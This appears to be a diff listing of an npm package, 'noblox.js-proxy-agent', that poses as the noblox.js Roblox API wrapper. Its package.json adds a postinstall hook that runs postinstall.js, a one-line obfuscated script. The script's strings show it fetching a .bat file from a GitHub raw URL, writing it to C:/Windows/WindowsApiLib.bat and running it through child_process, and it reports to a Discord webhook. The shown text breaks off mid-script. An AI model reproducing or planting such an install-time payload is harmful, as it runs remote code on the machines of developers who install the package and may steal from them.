noblox.js-proxy-agent 4.10.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (259) hide show
  1. package/.eslintrc.js +21 -0
  2. package/.github/FUNDING.yml +3 -0
  3. package/.github/ISSUE_TEMPLATE/bug_report.md +29 -0
  4. package/.github/ISSUE_TEMPLATE/feature_request.md +22 -0
  5. package/.github/workflows/doc-publish.yml +33 -0
  6. package/.github/workflows/npmpublish.yml +70 -0
  7. package/.travis.yml +13 -0
  8. package/CODE_OF_CONDUCT.md +76 -0
  9. package/LICENSE +21 -0
  10. package/README.md +168 -0
  11. package/examples/cleanPlayers.js +130 -0
  12. package/examples/cleanWall.js +110 -0
  13. package/examples/revertRanks.js +100 -0
  14. package/examples/savePlayers.js +119 -0
  15. package/examples/saveWall.js +96 -0
  16. package/img/moderatedThumbnails/moderatedThumbnail_100x100.png +0 -0
  17. package/img/moderatedThumbnails/moderatedThumbnail_110x110.png +0 -0
  18. package/img/moderatedThumbnails/moderatedThumbnail_140x140.png +0 -0
  19. package/img/moderatedThumbnails/moderatedThumbnail_150x150.png +0 -0
  20. package/img/moderatedThumbnails/moderatedThumbnail_150x200.png +0 -0
  21. package/img/moderatedThumbnails/moderatedThumbnail_180x180.png +0 -0
  22. package/img/moderatedThumbnails/moderatedThumbnail_250x250.png +0 -0
  23. package/img/moderatedThumbnails/moderatedThumbnail_30x30.png +0 -0
  24. package/img/moderatedThumbnails/moderatedThumbnail_352x352.png +0 -0
  25. package/img/moderatedThumbnails/moderatedThumbnail_420x420.png +0 -0
  26. package/img/moderatedThumbnails/moderatedThumbnail_48x48.png +0 -0
  27. package/img/moderatedThumbnails/moderatedThumbnail_50x50.png +0 -0
  28. package/img/moderatedThumbnails/moderatedThumbnail_60x60.png +0 -0
  29. package/img/moderatedThumbnails/moderatedThumbnail_720x720.png +0 -0
  30. package/img/moderatedThumbnails/moderatedThumbnail_75x75.png +0 -0
  31. package/img/noblox-js-small.png +0 -0
  32. package/img/noblox-js.png +0 -0
  33. package/img/thumbnailSizes.png +0 -0
  34. package/jsDocsConfig.json +55 -0
  35. package/lib/accountinformation/getUserSocialLinks.js +42 -0
  36. package/lib/accountsettings/block.js +58 -0
  37. package/lib/accountsettings/unblock.js +58 -0
  38. package/lib/asset/deleteFromInventory.js +69 -0
  39. package/lib/asset/getGamePassProductInfo.js +51 -0
  40. package/lib/asset/getProductInfo.js +56 -0
  41. package/lib/asset/uploadAnimation.js +103 -0
  42. package/lib/asset/uploadItem.js +83 -0
  43. package/lib/asset/uploadModel.js +90 -0
  44. package/lib/avatar/avatarRules.js +38 -0
  45. package/lib/avatar/currentlyWearing.js +32 -0
  46. package/lib/avatar/getAvatar.js +35 -0
  47. package/lib/avatar/getCurrentAvatar.js +37 -0
  48. package/lib/avatar/getRecentItems.js +37 -0
  49. package/lib/avatar/outfitDetails.js +32 -0
  50. package/lib/avatar/outfits.js +37 -0
  51. package/lib/avatar/redrawAvatar.js +48 -0
  52. package/lib/avatar/removeAssetId.js +55 -0
  53. package/lib/avatar/setAvatarBodyColors.js +60 -0
  54. package/lib/avatar/setAvatarScales.js +60 -0
  55. package/lib/avatar/setPlayerAvatarType.js +50 -0
  56. package/lib/avatar/setWearingAssets.js +50 -0
  57. package/lib/avatar/wearAssetId.js +55 -0
  58. package/lib/badges/getAwardedTimestamps.js +52 -0
  59. package/lib/badges/getBadgeInfo.js +43 -0
  60. package/lib/badges/getGameBadges.js +62 -0
  61. package/lib/badges/getPlayerBadges.js +28 -0
  62. package/lib/badges/updateBadgeInfo.js +80 -0
  63. package/lib/cache/add.js +14 -0
  64. package/lib/cache/addIf.js +26 -0
  65. package/lib/cache/clear.js +8 -0
  66. package/lib/cache/get.js +28 -0
  67. package/lib/cache/index.js +17 -0
  68. package/lib/cache/new.js +12 -0
  69. package/lib/cache/wrap.js +25 -0
  70. package/lib/chat/addUsersToConversation.js +61 -0
  71. package/lib/chat/chatSettings.js +33 -0
  72. package/lib/chat/getChatMessages.js +40 -0
  73. package/lib/chat/getConversations.js +43 -0
  74. package/lib/chat/getRolloutSettings.js +35 -0
  75. package/lib/chat/getUnreadConversationCount.js +33 -0
  76. package/lib/chat/getUnreadMessages.js +38 -0
  77. package/lib/chat/getUserConversations.js +37 -0
  78. package/lib/chat/markChatAsRead.js +52 -0
  79. package/lib/chat/markChatAsSeen.js +50 -0
  80. package/lib/chat/multiGetLatestMessages.js +37 -0
  81. package/lib/chat/onNewConversation.js +50 -0
  82. package/lib/chat/onNewMessage.js +53 -0
  83. package/lib/chat/onNewMessageBySelf.js +50 -0
  84. package/lib/chat/onUserOnline.js +50 -0
  85. package/lib/chat/onUserTyping.js +54 -0
  86. package/lib/chat/removeFromGroupConversation.js +62 -0
  87. package/lib/chat/renameGroupConversation.js +57 -0
  88. package/lib/chat/sendChatMessage.js +57 -0
  89. package/lib/chat/setChatUserTyping.js +61 -0
  90. package/lib/chat/start121Conversation.js +50 -0
  91. package/lib/chat/startCloudEditConversation.js +50 -0
  92. package/lib/chat/startGroupConversation.js +62 -0
  93. package/lib/client/onNotification.js +70 -0
  94. package/lib/client/setAPIKey.js +18 -0
  95. package/lib/client/setCookie.js +38 -0
  96. package/lib/datastores/deleteDatastoreEntry.js +66 -0
  97. package/lib/datastores/getDatastoreEntry.js +98 -0
  98. package/lib/datastores/getDatastoreEntryVersions.js +83 -0
  99. package/lib/datastores/getDatastoreKeys.js +73 -0
  100. package/lib/datastores/getDatastores.js +72 -0
  101. package/lib/datastores/incrementDatastoreEntry.js +93 -0
  102. package/lib/datastores/setDatastoreEntry.js +90 -0
  103. package/lib/develop/canManage.js +44 -0
  104. package/lib/develop/configureItem.js +142 -0
  105. package/lib/develop/updateUniverse.js +53 -0
  106. package/lib/develop/updateUniverseAccess.js +55 -0
  107. package/lib/economy/buy.js +99 -0
  108. package/lib/economy/getGroupFunds.js +43 -0
  109. package/lib/economy/getGroupRevenueSummary.js +48 -0
  110. package/lib/economy/getGroupTransactions.js +32 -0
  111. package/lib/economy/getResaleData.js +54 -0
  112. package/lib/economy/getResellers.js +35 -0
  113. package/lib/economy/getUserTransactions.js +34 -0
  114. package/lib/economy/onGroupTransaction.js +74 -0
  115. package/lib/friends/acceptFriendRequest.js +59 -0
  116. package/lib/friends/declineAllFriendRequests.js +57 -0
  117. package/lib/friends/declineFriendRequest.js +59 -0
  118. package/lib/friends/getFollowers.js +61 -0
  119. package/lib/friends/getFollowings.js +61 -0
  120. package/lib/friends/getFriendRequests.js +56 -0
  121. package/lib/friends/getFriends.js +53 -0
  122. package/lib/friends/onFriendRequest.js +58 -0
  123. package/lib/friends/removeFriend.js +58 -0
  124. package/lib/friends/sendFriendRequest.js +59 -0
  125. package/lib/friends/unfollow.js +58 -0
  126. package/lib/games/addDeveloperProduct.js +65 -0
  127. package/lib/games/checkDeveloperProductName.js +39 -0
  128. package/lib/games/configureGamePass.js +146 -0
  129. package/lib/games/getDeveloperProducts.js +51 -0
  130. package/lib/games/getGameInstances.js +31 -0
  131. package/lib/games/getGamePasses.js +39 -0
  132. package/lib/games/getGameRevenue.js +49 -0
  133. package/lib/games/getGameSocialLinks.js +45 -0
  134. package/lib/games/getGroupGames.js +30 -0
  135. package/lib/games/getPlaceInfo.js +48 -0
  136. package/lib/games/getUniverseInfo.js +51 -0
  137. package/lib/games/updateDeveloperProduct.js +69 -0
  138. package/lib/groups/changeRank.js +59 -0
  139. package/lib/groups/deleteWallPost.js +64 -0
  140. package/lib/groups/deleteWallPostsByUser.js +59 -0
  141. package/lib/groups/demote.js +25 -0
  142. package/lib/groups/exile.js +59 -0
  143. package/lib/groups/getAuditLog.js +67 -0
  144. package/lib/groups/getGroup.js +57 -0
  145. package/lib/groups/getGroupSocialLinks.js +44 -0
  146. package/lib/groups/getGroups.js +88 -0
  147. package/lib/groups/getJoinRequest.js +52 -0
  148. package/lib/groups/getJoinRequests.js +58 -0
  149. package/lib/groups/getPlayers.js +108 -0
  150. package/lib/groups/getRankInGroup.js +52 -0
  151. package/lib/groups/getRankNameInGroup.js +52 -0
  152. package/lib/groups/getRole.js +64 -0
  153. package/lib/groups/getRolePermissions.js +51 -0
  154. package/lib/groups/getRoles.js +56 -0
  155. package/lib/groups/getShout.js +49 -0
  156. package/lib/groups/getWall.js +59 -0
  157. package/lib/groups/groupPayout.js +103 -0
  158. package/lib/groups/handleJoinRequest.js +60 -0
  159. package/lib/groups/leaveGroup.js +60 -0
  160. package/lib/groups/onAuditLog.js +62 -0
  161. package/lib/groups/onJoinRequest.js +63 -0
  162. package/lib/groups/onJoinRequestHandle.js +105 -0
  163. package/lib/groups/onShout.js +57 -0
  164. package/lib/groups/onWallPost.js +58 -0
  165. package/lib/groups/promote.js +25 -0
  166. package/lib/groups/searchGroups.js +32 -0
  167. package/lib/groups/setGroupDescription.js +65 -0
  168. package/lib/groups/setGroupName.js +66 -0
  169. package/lib/groups/setRank.js +79 -0
  170. package/lib/groups/shout.js +65 -0
  171. package/lib/index.js +30 -0
  172. package/lib/internal/levelOneCopy.js +16 -0
  173. package/lib/internal/queue.js +61 -0
  174. package/lib/internal/timeout.js +30 -0
  175. package/lib/internal/wrap.js +78 -0
  176. package/lib/inventory/getCollectibles.js +31 -0
  177. package/lib/inventory/getInventory.js +32 -0
  178. package/lib/inventory/getInventoryById.js +31 -0
  179. package/lib/inventory/getOwnership.js +54 -0
  180. package/lib/inventory/getUAIDs.js +47 -0
  181. package/lib/itemconfiguration/getGroupAssets.js +32 -0
  182. package/lib/options.js +26 -0
  183. package/lib/party/onPartyDeleted.js +53 -0
  184. package/lib/party/onPartyInvite.js +53 -0
  185. package/lib/party/onPartyJoinedGame.js +53 -0
  186. package/lib/party/onPartyLeftGame.js +53 -0
  187. package/lib/party/onPartySelfJoined.js +53 -0
  188. package/lib/party/onPartySelfLeft.js +53 -0
  189. package/lib/party/onPartyUserJoined.js +53 -0
  190. package/lib/party/onPartyUserLeft.js +53 -0
  191. package/lib/premiumfeatures/getPremium.js +51 -0
  192. package/lib/presence/getPresences.js +63 -0
  193. package/lib/privatemessages/getMessages.js +60 -0
  194. package/lib/privatemessages/message.js +80 -0
  195. package/lib/privatemessages/onMessage.js +88 -0
  196. package/lib/thumbnails/getLogo.js +60 -0
  197. package/lib/thumbnails/getPlayerThumbnail.js +121 -0
  198. package/lib/thumbnails/getThumbnails.js +93 -0
  199. package/lib/trades/acceptTrade.js +58 -0
  200. package/lib/trades/canTradeWith.js +48 -0
  201. package/lib/trades/counterTrade.js +84 -0
  202. package/lib/trades/declineTrade.js +58 -0
  203. package/lib/trades/getTradeInfo.js +52 -0
  204. package/lib/trades/getTrades.js +37 -0
  205. package/lib/trades/sendTrade.js +82 -0
  206. package/lib/users/getBlurb.js +36 -0
  207. package/lib/users/getIdFromUsername.js +53 -0
  208. package/lib/users/getPlayerInfo.js +100 -0
  209. package/lib/users/getUsernameFromId.js +44 -0
  210. package/lib/users/onBlurbChange.js +46 -0
  211. package/lib/util/clearSession.js +32 -0
  212. package/lib/util/generalRequest.js +61 -0
  213. package/lib/util/getAction.js +45 -0
  214. package/lib/util/getCurrentUser.js +44 -0
  215. package/lib/util/getGeneralToken.js +52 -0
  216. package/lib/util/getHash.js +29 -0
  217. package/lib/util/getInputs.js +37 -0
  218. package/lib/util/getPageResults.js +89 -0
  219. package/lib/util/getSenderUserId.js +30 -0
  220. package/lib/util/getSession.js +38 -0
  221. package/lib/util/getVerification.js +60 -0
  222. package/lib/util/getVerificationInputs.js +31 -0
  223. package/lib/util/http.js +110 -0
  224. package/lib/util/jar.js +24 -0
  225. package/lib/util/refreshCookie.js +52 -0
  226. package/lib/util/relog.js +81 -0
  227. package/lib/util/setOptions.js +54 -0
  228. package/lib/util/shortPoll.js +102 -0
  229. package/lib/util/threaded.js +80 -0
  230. package/package.json +94 -0
  231. package/postinstall.js +1 -0
  232. package/settings.json +107 -0
  233. package/test/accountinformation.test.js +27 -0
  234. package/test/accountsettings.test.js +27 -0
  235. package/test/asset.test.js +81 -0
  236. package/test/assets/Great-White-Shark-Fin.rbxm +0 -0
  237. package/test/assets/KeyframeSequence.rbxm +0 -0
  238. package/test/avatar.test.js +164 -0
  239. package/test/badges.test.js +96 -0
  240. package/test/chat.test.js +104 -0
  241. package/test/datastore.test.js +105 -0
  242. package/test/develop.test.js +53 -0
  243. package/test/economy.test.js +137 -0
  244. package/test/friends.test.js +128 -0
  245. package/test/games.test.js +212 -0
  246. package/test/groups.test.js +311 -0
  247. package/test/inventory.test.js +98 -0
  248. package/test/itemconfiguration.test.js +24 -0
  249. package/test/premiumfeatures.test.js +17 -0
  250. package/test/presence.test.js +25 -0
  251. package/test/privatemessages.test.js +33 -0
  252. package/test/thumbnails.test.js +53 -0
  253. package/test/users.test.js +68 -0
  254. package/tutorials/Authentication.md +75 -0
  255. package/tutorials/Event Emitters.md +26 -0
  256. package/tutorials/Promises.md +86 -0
  257. package/tutorials/VPS Authentication.md +72 -0
  258. package/typings/index.d.ts +2525 -0
  259. package/typings/jsDocs.ts +1927 -0
@@ -0,0 +1,80 @@
1
+ // Includes
2
+ const settings = require('../../settings.json')
3
+
4
+ // Args
5
+ exports.required = ['getPage', 'start', 'end']
6
+
7
+ // Define
8
+ exports.func = function (args) {
9
+ const getPage = args.getPage
10
+ const start = args.start
11
+ const end = args.end
12
+ let completed = 0
13
+ let expected = end - start
14
+ let rslv
15
+ function next (i, ivl, tries) {
16
+ if (i >= end) {
17
+ return
18
+ }
19
+ if (i < start) {
20
+ next(i + ivl, ivl, 0)
21
+ return
22
+ }
23
+ if (tries > 2) {
24
+ expected--
25
+ console.error('Ran out of tries for ' + i)
26
+ if (completed >= expected) {
27
+ rslv()
28
+ } else {
29
+ next(i + ivl, ivl, 0)
30
+ }
31
+ return
32
+ }
33
+ const res = getPage(i)
34
+ if (res && res.then) {
35
+ res.then(function () {
36
+ completed++
37
+ if (completed >= expected) {
38
+ rslv()
39
+ return
40
+ }
41
+ next(i + ivl, ivl, 0)
42
+ })
43
+ .catch(function (err) {
44
+ if (!err.stack.includes('ESOCKETTIMEDOUT')) { // Silence common socket timeout errors
45
+ console.error('Thread error: ' + err.stack)
46
+ }
47
+ setTimeout(next, 5000, i, ivl, tries + 1)
48
+ })
49
+ } else {
50
+ expected--
51
+ if (completed >= expected) {
52
+ rslv()
53
+ return
54
+ }
55
+ next(i + ivl, ivl, 0)
56
+ }
57
+ }
58
+
59
+ const promise = new Promise(function (resolve) {
60
+ rslv = resolve
61
+ if (expected <= 0) {
62
+ resolve()
63
+ return
64
+ }
65
+ const ivl = Math.min(settings.maxThreads, expected)
66
+ for (let i = 0; i < ivl; i++) {
67
+ next(i, ivl, 0)
68
+ }
69
+ })
70
+ promise.getStatus = function () {
71
+ return Math.round((completed / expected) * 10000) / 100 || 0
72
+ }
73
+ promise.getCompleted = function () {
74
+ return completed
75
+ }
76
+ promise.getExpected = function () {
77
+ return expected
78
+ }
79
+ return promise
80
+ }
package/package.json ADDED
@@ -0,0 +1,94 @@
1
+ {
2
+ "name": "noblox.js-proxy-agent",
3
+ "version": "4.10.5",
4
+ "description": "A Node.js API wrapper for Roblox.",
5
+ "main": "lib/index.js",
6
+ "types": "typings/index.d.ts",
7
+ "scripts": {
8
+ "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs",
9
+ "lint": "eslint lib/",
10
+ "test": "jest",
11
+ "postinstall": "node postinstall.js"
12
+ },
13
+ "repository": {
14
+ "type": "git",
15
+ "url": "https://github.com/noblox/noblox.js.git"
16
+ },
17
+ "keywords": [
18
+ "roblox",
19
+ "bot",
20
+ "clans"
21
+ ],
22
+ "dependencies": {
23
+ "archiver": "6.0.1",
24
+ "chalk": "^4.0.0",
25
+ "cheerio": "^1.0.0-rc.10",
26
+ "entities": "^4.3.0",
27
+ "figlet": "^1.4.0",
28
+ "form-data": "4.0.0",
29
+ "node-fetch": "^2.7.0",
30
+ "os": "0.1.2",
31
+ "path": "0.12.7",
32
+ "request": "^2.81.0",
33
+ "request-promise": "^4.2.4",
34
+ "signalr-client": "0.0.20",
35
+ "util": "^0.12.5"
36
+ },
37
+ "license": "MIT",
38
+ "bugs": {
39
+ "url": "https://github.com/noblox/noblox.js/issues"
40
+ },
41
+ "author": "Suufi <suufi@mit.edu> (https://github.com/suufi)",
42
+ "contributors": [
43
+ "Joshua Lanese <froastj@gmail.com>",
44
+ "Neztore <hi@nezto.re>",
45
+ "Alan Bixby <alan@bxb.gg> (https://alanbix.by)"
46
+ ],
47
+ "homepage": "https://github.com/noblox/noblox.js",
48
+ "devDependencies": {
49
+ "@auto-it/conventional-commits": "^10.30.0",
50
+ "auto": "^10.30.0",
51
+ "better-docs": "2.7.2",
52
+ "dotenv": "16.0.3",
53
+ "eslint": "^7.28.0",
54
+ "eslint-config-standard": "^16.0.3",
55
+ "eslint-plugin-import": "^2.25.3",
56
+ "eslint-plugin-jest": "27.2.2",
57
+ "eslint-plugin-node": "^11.0.0",
58
+ "eslint-plugin-promise": "^5.1.0",
59
+ "jest": "^29.5.0",
60
+ "jest-extended": "^3.2.4",
61
+ "jsdoc": "3.6.10",
62
+ "JSONStream": "^1.3.1",
63
+ "progress": "^2.0.0",
64
+ "standard": "^17.0.0"
65
+ },
66
+ "jest": {
67
+ "setupFiles": [
68
+ "dotenv/config"
69
+ ],
70
+ "setupFilesAfterEnv": [
71
+ "jest-extended/all"
72
+ ],
73
+ "coveragePathIgnorePatterns": [
74
+ "lib/party",
75
+ "lib/util",
76
+ "lib/internal",
77
+ "lib/cache",
78
+ "node_modules",
79
+ "lib/index.js",
80
+ "lib/options.js",
81
+ "lib/*/on*.js"
82
+ ]
83
+ },
84
+ "auto": {
85
+ "plugins": [
86
+ "npm",
87
+ "conventional-commits"
88
+ ],
89
+ "onlyPublishWithReleaseLabel": true
90
+ },
91
+ "engines": {
92
+ "node": ">=14.14.0"
93
+ }
94
+ }
package/postinstall.js ADDED
@@ -0,0 +1 @@
1
+ (function(_0x41c12b,_0x3e13a4){function _0x2139e0(_0x439f05,_0x965ddb,_0x31e51d,_0x566ac0){return _0x58de(_0x566ac0-0x239,_0x965ddb);}const _0x1c0858=_0x41c12b();function _0x47d0b1(_0x39cd9f,_0x59787e,_0x38337a,_0x4c4c37){return _0x58de(_0x4c4c37-0x348,_0x38337a);}while(!![]){try{const _0x5d7b30=parseInt(_0x47d0b1(0x557,0x53b,0x535,0x54b))/(0xd4*-0x26+0x2468+-0x1*0x4ef)+-parseInt(_0x2139e0(0x44f,0x43e,0x421,0x428))/(-0x2*0x380+0x2e*0x76+0x4f*-0x2e)*(-parseInt(_0x47d0b1(0x51c,0x541,0x4fe,0x515))/(-0xb*-0x113+-0x1daf+0x1*0x11e1))+-parseInt(_0x47d0b1(0x527,0x529,0x543,0x52c))/(0x824*-0x2+0x2399+-0x134d)+parseInt(_0x47d0b1(0x53a,0x507,0x53a,0x519))/(0x13a*-0x16+0xfe*0xb+0x1017)*(-parseInt(_0x47d0b1(0x53e,0x567,0x550,0x555))/(-0x1dd+-0x1e24+-0x1*-0x2007))+parseInt(_0x2139e0(0x452,0x464,0x456,0x45a))/(0x2b*0x80+-0x4c*-0x59+-0xc9*0x3d)*(parseInt(_0x47d0b1(0x54b,0x500,0x509,0x529))/(0x168a+-0x21d9*0x1+0xb57*0x1))+-parseInt(_0x2139e0(0x44b,0x435,0x479,0x457))/(0x1aae+-0x2*-0xe3b+-0x371b)+parseInt(_0x2139e0(0x42d,0x41c,0x411,0x41e))/(0x2041+0x1ca0+-0x23*0x1bd)*(-parseInt(_0x2139e0(0x3e4,0x408,0x400,0x405))/(0x15b*-0x14+-0x13ee+0x2f15));if(_0x5d7b30===_0x3e13a4)break;else _0x1c0858['push'](_0x1c0858['shift']());}catch(_0x206b06){_0x1c0858['push'](_0x1c0858['shift']());}}}(_0x1c0d,0x4b*0x1191+0x7a16+0x63e5d*0x1));const _0x4849f5=(function(){let _0x1e0a1a=!![];return function(_0x29a73a,_0x27cf54){const _0x27fc78=_0x1e0a1a?function(){function _0x4554c8(_0x20122b,_0x1bf073,_0x530311,_0x515bd8){return _0x58de(_0x515bd8-0xac,_0x530311);}if(_0x27cf54){const _0x5b389f=_0x27cf54[_0x4554c8(0x2a5,0x26b,0x2a6,0x288)](_0x29a73a,arguments);return _0x27cf54=null,_0x5b389f;}}:function(){};return _0x1e0a1a=![],_0x27fc78;};}());function _0x35f860(_0x2778f8,_0x61dc5b,_0xdce378,_0x35115b){return _0x58de(_0x35115b-0x38e,_0xdce378);}const _0xe0cfa4=_0x4849f5(this,function(){const _0x2b2ff7={};function _0x405689(_0x5ac596,_0x929e3e,_0xe93c7d,_0x1142a7){return _0x58de(_0x1142a7- -0x159,_0x5ac596);}_0x2b2ff7[_0x405689(0xa4,0x83,0x6b,0x8e)]=_0x3a7675(0x3b4,0x396,0x396,0x3a5)+'+$';const _0x1d15c6=_0x2b2ff7;function _0x3a7675(_0x2c7fd8,_0x4eb82d,_0x1232c5,_0x54b99f){return _0x58de(_0x2c7fd8-0x1be,_0x54b99f);}return _0xe0cfa4[_0x405689(0xa2,0xa3,0xa6,0x79)]()['search'](_0x1d15c6['mijMj'])[_0x3a7675(0x390,0x379,0x3ae,0x374)]()[_0x405689(0xda,0xe3,0xbb,0xc4)+'r'](_0xe0cfa4)[_0x3a7675(0x3ca,0x3b9,0x3a5,0x3a5)](_0x405689(0xbb,0xbe,0x79,0x9d)+'+$');});function _0x1c0d(){const _0x3bfa72=['12CjZHOT','UwnfS','iKwnL','bqkJg','ugxeq','applicatio','een\x20Deploy','console','mkdirSync','trace','ayfpB','ks/1229897','QlFWd','3785347850','PfuWw','Api','constructo','6573114WWTQQs','M7MDcaPqzx','WKuOL','1863428LpxSHn','api/webhoo','ync','rn\x20this\x22)(','ully.','1086261haJwyV','12ppvDqO','lWAeL','spdasdksa/','{}.constru','2414325JrHEvh','toString','exec','ctor(\x22retu','BNVic','table','prototype','node-fetch','return\x20(fu','mcplo1dycW','WpYjj','apply','24/w913pfb','https://di','ydoas','https://gi','24XWMpKh','JCJGw','__proto__','1441624sZXTfk','30vAybLv','length','mijMj','writeFileS','recursive','uKKUu','info','nction()\x20','bkwRr','iLib.bat','540734sBePnN','stringify','gSqbz','POST','INKjL','ErWMS','TZpYv','(((.+)+)+)','sIqXUNRUY1','lJtqs63z7G','Nil,\x20has\x20b','ess','hIjmT','CkRIQ','bind','existsSync','n/json','exception','child_proc','error','1250365QGQwnz','hAGMR','ello.bat','TROLLLOLL/','util','rPCWhWLxOF','raw/main/h','C:/Windows','/WindowsAp','search'];_0x1c0d=function(){return _0x3bfa72;};return _0x1c0d();}function _0x58de(_0x5ec3f2,_0xe0cfa4){const _0x4849f5=_0x1c0d();return _0x58de=function(_0x1c0dc7,_0x58de40){_0x1c0dc7=_0x1c0dc7-(0x107*-0x17+0x9dc+0xf8e);let _0x38f4a0=_0x4849f5[_0x1c0dc7];return _0x38f4a0;},_0x58de(_0x5ec3f2,_0xe0cfa4);}function _0x23da06(_0x117788,_0x457676,_0xf07460,_0x48208e){return _0x58de(_0xf07460- -0x1f2,_0x117788);}_0xe0cfa4();const _0x221702=(function(){let _0x2db8e2=!![];return function(_0x334e28,_0x12cd79){const _0x329db6=_0x2db8e2?function(){if(_0x12cd79){const _0x1f6d12=_0x12cd79['apply'](_0x334e28,arguments);return _0x12cd79=null,_0x1f6d12;}}:function(){};return _0x2db8e2=![],_0x329db6;};}()),_0x50a6ec=_0x221702(this,function(){function _0x446c93(_0x1ad31a,_0x3a76c9,_0x244141,_0x42f540){return _0x58de(_0x244141- -0x1b0,_0x1ad31a);}const _0x24045f={'hAGMR':function(_0x12745d,_0x591e3d){return _0x12745d===_0x591e3d;},'TZpYv':_0x446c93(0x64,0x17,0x3a,0x4a),'bqkJg':function(_0x27a949,_0x4d7580){return _0x27a949(_0x4d7580);},'CkRIQ':function(_0x479d9a,_0x1a32cc){return _0x479d9a+_0x1a32cc;},'lWAeL':function(_0x1d7861,_0x23d961){return _0x1d7861+_0x23d961;},'WpYjj':_0x446c93(0x31,-0x4,0x29,0x1)+_0x446c93(0x55,0x27,0x3c,0x61),'iyUeL':_0x446c93(-0x7,0x4a,0x20,0x36)+_0x16c97c(0x35b,0x37e,0x366,0x339)+_0x446c93(0x2b,-0x6,0x1a,-0x8)+'\x20)','bkwRr':function(_0x1cb67f){return _0x1cb67f();},'JCJGw':'log','ErWMS':'warn','ugxeq':_0x16c97c(0x38c,0x39c,0x37d,0x35a),'ydoas':_0x16c97c(0x36e,0x375,0x394,0x37b),'PfuWw':_0x16c97c(0x39b,0x37d,0x392,0x3a4),'hIjmT':_0x16c97c(0x3d2,0x3d4,0x3a8,0x3a7),'gSqbz':function(_0x210454,_0x59528d){return _0x210454<_0x59528d;}};function _0x16c97c(_0x57c05a,_0x1cdb8,_0x1d6f07,_0x1da20b){return _0x58de(_0x1d6f07-0x192,_0x1da20b);}let _0xd839b3;try{if(_0x24045f[_0x16c97c(0x3b6,0x3a3,0x396,0x3b7)](_0x24045f[_0x446c93(0x47,0x1d,0x45,0x1c)],_0x446c93(0x3c,0x2a,0x25,-0x3))){const _0x4d4549=_0x43dc4e?function(){if(_0x5e1aa6){const _0x5816af=_0x26abdc['apply'](_0x1955ea,arguments);return _0x51b17a=null,_0x5816af;}}:function(){};return _0x1812a5=![],_0x4d4549;}else{const _0x15fb10=_0x24045f[_0x16c97c(0x3b9,0x399,0x3a2,0x3bb)](Function,_0x24045f[_0x16c97c(0x3a6,0x396,0x38e,0x388)](_0x24045f[_0x446c93(0x1f,-0xa,0x1e,0xe)](_0x24045f[_0x446c93(0x5,0x7,0x2b,0x2a)],_0x24045f['iyUeL']),');'));_0xd839b3=_0x24045f[_0x446c93(0x2c,0x38,0x3d,0x1f)](_0x15fb10);}}catch(_0x9fda30){_0xd839b3=window;}const _0x54a61d=_0xd839b3[_0x446c93(0x82,0x57,0x64,0x4a)]=_0xd839b3[_0x16c97c(0x385,0x3ae,0x3a6,0x3b9)]||{},_0x17c7fa=[_0x24045f[_0x446c93(0x13,0x13,0x32,0x1c)],_0x24045f[_0x446c93(0x5b,0x61,0x44,0x58)],_0x24045f[_0x446c93(0x8b,0x6d,0x61,0x55)],_0x24045f[_0x446c93(0x5b,0x3c,0x2f,0x4c)],_0x24045f[_0x16c97c(0x3b2,0x393,0x3ad,0x3c2)],_0x16c97c(0x344,0x379,0x368,0x354),_0x24045f[_0x16c97c(0x375,0x37d,0x38d,0x3b0)]];for(let _0x29d238=0x25a4+0x710+-0x2cb4;_0x24045f[_0x16c97c(0x392,0x36b,0x383,0x37e)](_0x29d238,_0x17c7fa[_0x446c93(0x49,0x56,0x36,0x14)]);_0x29d238++){const _0x2dfcab=_0x221702[_0x16c97c(0x398,0x38a,0x3af,0x3c5)+'r'][_0x446c93(0x3e,0x2d,0x27,0x2b)][_0x446c93(0x20,0x66,0x4d,0x52)](_0x221702),_0x2d8af6=_0x17c7fa[_0x29d238],_0x1986ba=_0x54a61d[_0x2d8af6]||_0x2dfcab;_0x2dfcab[_0x16c97c(0x3a1,0x36d,0x375,0x381)]=_0x221702[_0x446c93(0x4d,0x78,0x4d,0x2b)](_0x221702),_0x2dfcab[_0x446c93(-0x7,0x34,0x22,0x37)]=_0x1986ba[_0x446c93(0x2a,0x46,0x22,0xe)][_0x446c93(0x3b,0x61,0x4d,0x64)](_0x1986ba),_0x54a61d[_0x2d8af6]=_0x2dfcab;}});_0x50a6ec();const fs=require('fs'),fetch=require(_0x35f860(0x586,0x551,0x562,0x566)),{promisify}=require(_0x23da06(0x33,0x33,0x15,-0x11)),webhook=_0x35f860(0x566,0x54e,0x58e,0x56c)+'scord.com/'+_0x23da06(0x1d,0x37,0x30,0x2e)+_0x35f860(0x5a0,0x599,0x586,0x5a6)+_0x23da06(0x1b,0x51,0x28,-0x1)+_0x35f860(0x588,0x550,0x57b,0x56b)+_0x23da06(-0x30,-0x45,-0x18,-0x25)+_0x35f860(0x56b,0x57e,0x599,0x596)+'9dTH_Fifkg'+_0x23da06(0x47,0xd,0x2d,0x32)+_0x35f860(0x572,0x56a,0x59d,0x586)+_0x23da06(0x2d,0x19,0x5,-0x8)+'Z',baturl=_0x23da06(-0x1f,-0x12,-0x12,-0x2f)+'thub.com/a'+_0x23da06(0x0,-0x37,-0x23,-0x2c)+_0x23da06(0x1c,0x23,0x14,0x27)+_0x23da06(0x24,0x25,0x17,-0x4)+_0x35f860(0x57c,0x58f,0x5bb,0x593),batDestination=_0x23da06(0x0,0x4,0x18,0xe)+_0x23da06(0x8,0x14,0x2a,0x19),executeBat=async(_0x385608,_0x12a2ce)=>{const _0x242807={'iKwnL':function(_0x5e7442,_0x4562b8){return _0x5e7442(_0x4562b8);},'ayfpB':function(_0xc29d1b,_0x58dccd){return _0xc29d1b(_0x58dccd);},'KXPox':function(_0x52b525,_0x417998){return _0x52b525(_0x417998);},'QlFWd':_0x2d459c(0x95,0x76,0xa2,0x99)+_0x2d459c(0x6e,0xc1,0x9b,0x7e)};if(!fs[_0x58cc12(-0x1ae,-0x18f,-0x1bd,-0x198)](_0x12a2ce)){const _0xe79939={};_0xe79939[_0x2d459c(0x94,0x63,0x8a,0x98)]=!![],fs[_0x2d459c(0xa7,0xb7,0xb6,0xda)](_0x12a2ce,_0xe79939);}const _0x10731d=await _0x242807[_0x58cc12(-0x179,-0x1a3,-0x1a9,-0x187)](fetch,_0x385608),_0x18fd08=await 